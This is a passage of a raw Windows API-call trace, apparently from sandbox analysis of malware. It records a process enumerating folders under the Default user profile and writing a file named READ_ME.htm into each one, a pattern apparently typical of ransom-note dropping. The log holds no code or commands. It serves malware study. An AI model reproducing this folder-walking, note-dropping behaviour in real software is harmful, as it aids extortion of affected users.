lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\my\\ctls\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.623] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.623] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0143.623] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.624] SetErrorMode (uMode=0x0) returned 0x1 [0143.624] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs", lpFilePart=0x0) returned 0x45 [0143.624] SetErrorMode (uMode=0x1) returned 0x0 [0143.624] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\my\\ctls\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.624] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.624] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0143.624] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.624] SetErrorMode (uMode=0x0) returned 0x1 [0143.625] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0143.625] SetErrorMode (uMode=0x1) returned 0x0 [0143.625] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\READ_ME.htm" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\my\\ctls\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.625] SetErrorMode (uMode=0x0) returned 0x1 [0143.625] GetFileType (hFile=0x1d0) returned 0x1 [0143.626] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a16388*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x2a16388*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0143.627] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\READ_ME.htm", lpFilePart=0x0) returned 0x4c [0143.627] SetErrorMode (uMode=0x1) returned 0x0 [0143.627] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\READ_ME.htm" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\my\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.628] SetErrorMode (uMode=0x0) returned 0x1 [0143.628] GetFileType (hFile=0x1d0) returned 0x1 [0143.628] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a1a988*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x2a1a988*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0143.630] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\READ_ME.htm", lpFilePart=0x0) returned 0x49 [0143.630] SetErrorMode (uMode=0x1) returned 0x0 [0143.630] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\READ_ME.htm" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.630] SetErrorMode (uMode=0x0) returned 0x1 [0143.630] GetFileType (hFile=0x1d0) returned 0x1 [0143.636] WriteFile (in: hFile=0x1d0, lpBuffer=0x281c760*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x281c760*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0143.638] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\READ_ME.htm", lpFilePart=0x0) returned 0x36 [0143.638] SetErrorMode (uMode=0x1) returned 0x0 [0143.638] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\READ_ME.htm" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.638] SetErrorMode (uMode=0x0) returned 0x1 [0143.638] GetFileType (hFile=0x1d0) returned 0x1 [0143.638] WriteFile (in: hFile=0x1d0, lpBuffer=0x2820d00*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x2820d00*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0143.640] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\READ_ME.htm", lpFilePart=0x0) returned 0x2c [0143.640] SetErrorMode (uMode=0x1) returned 0x0 [0143.640] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\READ_ME.htm" (normalized: "c:\\users\\default\\appdata\\roaming\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.640] SetErrorMode (uMode=0x0) returned 0x1 [0143.640] GetFileType (hFile=0x1d0) returned 0x1 [0143.640] WriteFile (in: hFile=0x1d0, lpBuffer=0x2825280*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x2825280*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0143.641] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\READ_ME.htm", lpFilePart=0x0) returned 0x24 [0143.642] SetErrorMode (uMode=0x1) returned 0x0 [0143.642] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\READ_ME.htm" (normalized: "c:\\users\\default\\appdata\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.644] SetErrorMode (uMode=0x0) returned 0x1 [0143.644] GetFileType (hFile=0x1d0) returned 0x1 [0143.644] WriteFile (in: hFile=0x1d0, lpBuffer=0x28297e0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x28297e0*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0143.645] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Application Data", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Application Data", lpFilePart=0x0) returned 0x21 [0143.645] SetErrorMode (uMode=0x1) returned 0x0 [0143.646] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Application Data\\*" (normalized: "c:\\users\\default\\application data\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0143.659] SetErrorMode (uMode=0x0) returned 0x1 [0143.661] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Application Data\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Application Data\\READ_ME.htm", lpFilePart=0x0) returned 0x2d [0143.661] SetErrorMode (uMode=0x1) returned 0x0 [0143.661] CreateFileW (lpFileName="C:\\Users\\Default\\Application Data\\READ_ME.htm" (normalized: "c:\\users\\default\\application data\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.662] GetFileType (hFile=0x1d0) returned 0x1 [0143.662] SetErrorMode (uMode=0x0) returned 0x1 [0143.662] GetFileType (hFile=0x1d0) returned 0x1 [0143.662] WriteFile (in: hFile=0x1d0, lpBuffer=0x282f178*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x282f178*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0143.663] CloseHandle (hObject=0x1d0) returned 1 [0143.669] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Contacts", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Contacts", lpFilePart=0x0) returned 0x19 [0143.669] SetErrorMode (uMode=0x1) returned 0x0 [0143.669] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Contacts\\*" (normalized: "c:\\users\\default\\contacts\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.715] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.716] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1 [0143.716] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0143.716] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0143.716] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.716] SetErrorMode (uMode=0x0) returned 0x1 [0143.717] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Contacts", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Contacts", lpFilePart=0x0) returned 0x19 [0143.717] SetErrorMode (uMode=0x1) returned 0x0 [0143.717] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Contacts\\*" (normalized: "c:\\users\\default\\contacts\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.717] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.717] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1 [0143.718] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0143.718] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0143.718] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.718] SetErrorMode (uMode=0x0) returned 0x1 [0143.718] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Contacts\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Contacts\\READ_ME.htm", lpFilePart=0x0) returned 0x25 [0143.718] SetErrorMode (uMode=0x1) returned 0x0 [0143.719] CreateFileW (lpFileName="C:\\Users\\Default\\Contacts\\READ_ME.htm" (normalized: "c:\\users\\default\\contacts\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.719] GetFileType (hFile=0x1d0) returned 0x1 [0143.719] SetErrorMode (uMode=0x0) returned 0x1 [0143.719] GetFileType (hFile=0x1d0) returned 0x1 [0143.720] WriteFile (in: hFile=0x1d0, lpBuffer=0x2835250*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x2835250*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0143.721] CloseHandle (hObject=0x1d0) returned 1 [0143.722] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Cookies", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Cookies", lpFilePart=0x0) returned 0x18 [0143.722] SetErrorMode (uMode=0x1) returned 0x0 [0143.722] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Cookies\\*" (normalized: "c:\\users\\default\\cookies\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0143.724] SetErrorMode (uMode=0x0) returned 0x1 [0143.725] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Cookies\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Cookies\\READ_ME.htm", lpFilePart=0x0) returned 0x24 [0143.725] SetErrorMode (uMode=0x1) returned 0x0 [0143.725] CreateFileW (lpFileName="C:\\Users\\Default\\Cookies\\READ_ME.htm" (normalized: "c:\\users\\default\\cookies\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.738] GetFileType (hFile=0x1d0) returned 0x1 [0143.738] SetErrorMode (uMode=0x0) returned 0x1 [0143.738] GetFileType (hFile=0x1d0) returned 0x1 [0143.739] WriteFile (in: hFile=0x1d0, lpBuffer=0x283ab68*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x283ab68*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0143.740] CloseHandle (hObject=0x1d0) returned 1 [0143.740] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Desktop", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Desktop", lpFilePart=0x0) returned 0x18 [0143.740] SetErrorMode (uMode=0x1) returned 0x0 [0143.740] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Desktop\\*" (normalized: "c:\\users\\default\\desktop\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.741] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.741] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0143.741] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0143.741] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.741] SetErrorMode (uMode=0x0) returned 0x1 [0143.742] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Desktop", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Desktop", lpFilePart=0x0) returned 0x18 [0143.742] SetErrorMode (uMode=0x1) returned 0x0 [0143.742] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Desktop\\*" (normalized: "c:\\users\\default\\desktop\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.743] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.743] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, 